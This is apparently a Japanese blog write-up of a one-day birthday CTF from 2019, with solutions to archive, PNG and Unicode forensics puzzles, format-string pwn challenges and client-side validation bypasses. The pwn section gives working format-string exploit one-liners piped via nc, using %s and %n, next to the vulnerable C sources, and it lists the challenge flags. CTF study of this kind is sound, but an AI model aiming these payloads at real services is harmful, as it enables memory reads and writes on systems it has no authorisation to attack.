++age;
— Tasker (@task4233) December 4, 2019
今日誕生日なので, 1日限定でCTFを開催してみました。https://t.co/U02CnUnGge
問題はあまり難しくないかもしれませんが, 息抜きにでも参加してみてください!
誕生日にCTF開催は新しい。
問題は全部1問100点。13問全部解いて1位
Misc
Rainforest
Capture the flag in the rainforest!
この問題文だけでファイルなどは無し。rainforest = 雨林 = Amazon。スコアサーバーのトップページのAmazonの欲しいものリスト中の旗のコメントにフラグが書かれている。
買われちゃったらどうするんだろうね?と思っていたら、案の定買われたらしいw
Rainforestにおいて, 他のプレイヤーを意図せず妨害できることを, とあるPlayerからご指摘いただきました。
— Tasker (@task4233) December 4, 2019
現在対応したため, Rainforestに挑戦していて解けなかった方は再挑戦してみてください。
よろしくお願いします。https://t.co/U02CnUnGge#taskctf
希望数量が増やされていたので、安心して1セット送っておいた。お誕生日おめでとうございます。
taskctf{Y0u_c4nn0t_5ee_the_f0re5t_f0r_the_tree5}
Matryoshka
zipファイルが送られてきたけど, なぜか開けないです......
少し調べてみてくれない?
拡張子は.zipだけれど、実はcpio。解答すると拡張子が.tar.gzのファイルが出てくるけれど、実はbzip2。解答すると今度はファイル名は分からないがar archive。
$ file flag.zip
flag.zip: cpio archive
$ cpio -it < flag.zip
flag.tar.gz
2 blocks
$ cpio -id < flag.zip
2 blocks
$ file flag.tar.gz
flag.tar.gz: bzip2 compressed data, block size = 900k
$ bunzip2 flag.tar.gz
bunzip2: Can't guess original name for flag.tar.gz -- using flag.tar.gz.out
$ file flag.tar.gz.out
flag.tar.gz.out: current ar archive
$ ar t flag.tar.gz.out
flag
whatAmI
$ ar x flag.tar.gz.out
$ cat flag
flag: taskctf{m1nd_the_f1le_extent10n}
taskctf{m1nd_the_f1le_extent10n}
Matryoshka-2
おかげさまで開けたけど, 次は怪文書ですか......
追加調査おねがいします。[2019-12-05 01:15:00 JST追記] Matryoshkaで解いた際に, flag以外にもう一つファイルがあったと思います。そのファイルを追加で調査してください!
whatAmIを調べる。
$ base64 -d < whatAmI > flag.7z
$ 7z l flag.7z
:
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2019-12-04 18:31:55 ....A 445 441 broken
2019-12-04 19:06:32 ....A 48 flag
------------------- ----- ------------ ------------ ------------------------
2019-12-04 19:06:32 493 441 2 files
Warnings: 1
$ 7z x flag.7z
:
$ cat flag
flag: taskctf{Base64_enc0de5_w1th_64_ch4r4cter5}
taskctf{Base64_enc0de5_w1th_64_ch4r4cter5}
Matryoshka-3
え?中にまだファイルがあったの?
何度も悪いんだけど, それの調査もお願いできます?
brokenを調べる。XXXX
で潰されているところが2箇所あって、他はどう見てもZIPなので、それぞれPK\x03\x04
とPK\x05\x06
に書き換える。中にflagというテキストファイルが入っている。
flag: taskctf{F1n4lly_met!}
ZIP, which is an archive file format that supports loss less data compression, has repeatable two file headers.
You should notice this file format ZIP when you see binary.
ZIP can unzip by hand. Let's try it!
ref: Zipファイルを紙とペンで解凍してみた
https://techblog.raccoon.ne.jp/archives/47967009.html
taskctf{F1n4lly_met!}
dataInPic
この画像, よく見たら旗があるらしい。
変わったところは無いように思うけど……
PNG画像。後半のIDATチャンクのCRCが合わないのと、サイズがおかしい。後半のチャンクのサイズを修正すると、後続のtEXTチャンクが見える。フラグの半分はIDAT中に含まれていてそのせいでCRCが合わなくなっているらしい。
$ strings -n 16 new_icon.png
iTXt<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
<exif:PixelYDimension>750</exif:PixelYDimension>
<exif:PixelXDimension>750</exif:PixelXDimension>
<exif:ColorSpace>1</exif:ColorSpace>
<tiff:Orientation>1</tiff:Orientation>
</rdf:Description>
taskctf{p4y_4tten...can you get the other?
...t10n_t0_ex1f}, can you get the other?
taskctf{p4y_4ttent10n_t0_ex1f}
InvisibleFlag
このファイル内に, 埋め込まれた見えないFlagがあるって噂を聞いたよ。
でも, いくら探しても見つからないんだ。
代わりに見つけてくれない?
i󠅶n󠅡v󠅬a󠅩l󠅤i󠅆d󠅬F󠅡l󠅧a󠄺g󠅴:󠅡t󠅳a󠅫s󠅣k󠅴c󠅦t󠅻f󠅄{󠄱T󠅤h󠅟1󠅹5󠄰_󠅵1󠅟5󠅫_󠅮1󠄰n󠅷v󠅟4󠄱l󠅖1󠄵d󠄿_󠅽fl4g}
各文字の間にUnicodeの異体字セレクタが含まれている。コードポイントの下1バイトがフラグだった。
>>> "".join(chr(ord(c)&0xff) for c in open("flag.txt", "rb").read().decode("utf-8")[1::2])
'validFlag:taskctf{D1d_y0u_kn0w_1V5?}lg\n'
validFlag:taskctf{D1d_y0u_kn0w_1V5?}
hoardingHouse
最近学校で度胸試しとしてゴミ屋敷の探検が流行ってるんだよね。
友人もこの前行ってきたらしくて, ゴミ屋敷にあるノートにflagを書いてきたらしいんだ。
彼は気が強いからできたけど, 私は気が弱いから見に行くなんて絶対に無理!
代わりにflagを見つけてきてくれない?
ZIPファイル。Windowsのエクスプローラーで開けないと思ったら、
hoardingHouse/
+-- note.txt
+-- note0.txt
+-- note1.txt
:
+-- note9.txt
+-- 0/
+-- note0.txt
+-- note1.txt
:
+-- note9.txt
+-- 1/
+-- note0.txt
+-- note1.txt
:
+-- note9.txt
+-- 2/
:
みたいな構造が100階層あって、パスが長すぎてコケていた。各ファイルの中身がBase64っぽいので連結して解凍するのかなと思い連結するスクリプトを作っていて、途中でデバッグ用に中身を表示したらフラグが見えた。
hoardingHouse/0/1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34/35/36/37/38/39/40/41/42/43/44/45/46/47/48/49/50/51/52/53/54/55/56/note8.txt
がフラグ。
import zipfile
z = zipfile.ZipFile("hoardingHouse.zip", "r")
for i in range(99):
for j in range(10):
f = "hoardingHouse/"+"/".join(map(str, range(i+1)))+"/note%d.txt"%j
t = z.read(f)
if len(t)>=16:
print f, t
taskctf{f1nd_4nd_grep_4re_g0d}
Questionnaire
CTFお疲れ様でした!
以下のアンケートに答えてflagをゲットしてね。
最後まで負けていたのに、この問題の解答時間の差でst98さんに勝ってしまって申し訳ない。0点で良かったのではw アンケートに落ち着いて答えられないし。
追記
答えなくてもフラグは得られるらしい。じゃあ100点でも良いのか。フラグをサブミットしてからゆっくり回答すれば良いと。
よく考えれば、Google フォームは HTML を見れば回答せずとも終了後のメッセージが得られますね。
taskctf{Th4nk_y0u_f0r_pl4y1ng!}
Pwn
peep2
ソースコードのみが与えられ、バイナリは与えられない。
#include <stdio.h>
char s3cr37[64] = "taskctf{XXXXXXXX}\0";
void get_flag(){
printf("flag is %s\n", s3cr37);
}
int main(){
char local[128];
fgets(local,128,stdin);
printf(local);
printf("secret address: 0x%x\n", &s3cr37);
return 0;
}
書式文字列攻撃。「これで、スタックのリターンアドレスを書き換えてget_flag
に飛ばすのは難しくないか……?」と悩んだけれど、get_flag
に飛ばす必要は無かった。s3cr37
のアドレスはアドレスが固定なので、このアドレスをlocal
に書き込んで%s
で参照すれば良い。バイナリが与えられないので、local
の位置が何番目の引数にあたるかは、適当に試す。4番目だった。
$ python2 -c 'print "\x40\xa0\x04\x08 %4$s"' | nc XXX.XXX.XXX.XXX 2226
@ taskctf{1t's_f0rm@_str1ng_4tt4ck!!}
secret address: 0x804a040
taskctf{1t's_f0rm@_str1ng_4tt4ck!!}
334
なんでや! 阪神関係ないやろ!
#include <stdio.h>
char s3cr37[32] = "taskctf{XXXXXXXX}\0";
int key = 0x12345678;
void get_flag(){
printf("flag is %s\n", s3cr37);
}
int main(){
char local[128];
fgets(local,128,stdin);
printf(local);
printf("key address: 0x%x\n", &key);
printf("key : 0x%x\n", key);
if(key==0x334)
get_flag();
return 0;
}
同じく書式文字列攻撃。key
の値を0x334
にすれば良い。key
のアドレスをlocal
に書き込み、%n
で参照して値を書き込む。%Nc
でN
文字出力して出力文字数を0x334
に合わせる。
$ python2 -c 'print "\x60\xa0\x04\x08%816c%4$n"' | nc XXX.XXX.XXX.XXX 2227
:
key address: 0x804a060
key : 0x334
flag is taskctf{wh@'2_334?}
Welcome
Welcome
Welcome to taskCTF!
flag: taskctf{let's_enj0y!}
taskctf{let's_enj0y!}
Web
Bad Frontend-1
私フロントエンドエンジニア!
頼まれていたValidation付きのログイン画面を作ったよ。
先輩, 褒めてくれるかな?
<form method="post" action="index.php">
<!--
note for debug
username: superuser_admin
password: password12345678
-->
<div class="form-group">
<input type="text" class="form-control" name="username" aria-describedby="text" maxlength="8" placeholder="username">
</div>
<div class="form-group">
<input type="password" class="form-control" name="password" maxlength="8" placeholder="password">
</div>
<button type="submit" class="btn btn-primary">Login!</button>
</form>
コメントに書かれているIDとパスワードでログインしようとしても、<input maxlength="8">
に弾かれる。ブラウザの開発者ツールで消せば良い。
ログインするとフラグとともに注意書きが書かれている。
Tip
maxlengthはdeveloper toolsで容易に書き換えられるので不十分です。
注意しましょう。
Is restriction using input maxlength sufficient enough?
taskctf{maxlength_15_4_5t0pg4p_s0lut10n}
Bad-Frontend-2
先輩に指摘されたので, JavaScriptでもValidationを追加してみたよ。
これでもう大丈夫かな?
大丈夫ではないw
const username = document.getElementById("username");
const password = document.getElementById("password");
username.addEventListener('input', function (e) {
const value = e.target.value;
e.target.value = value.slice(0, 8);
})
password.addEventListener('input', function (e) {
const value = e.target.value;
e.target.value = value.slice(0, 8);
})
が読み込まれている。Chromeの開発者ツールでevent listenerを消した。
Tip
JavaScriptでvalidationをしたとしても, burpでリクエストを編集したり, curlで直接リクエストを送ったりすることで回避できてしまいます。
Backend エンジニアさん, 頑張って!
ref: Why is client-side validation not enough?
想定解法はburp or curlか。
taskctf{Fr0ntend_v4lid4t10n_15_5t1ll_we4k}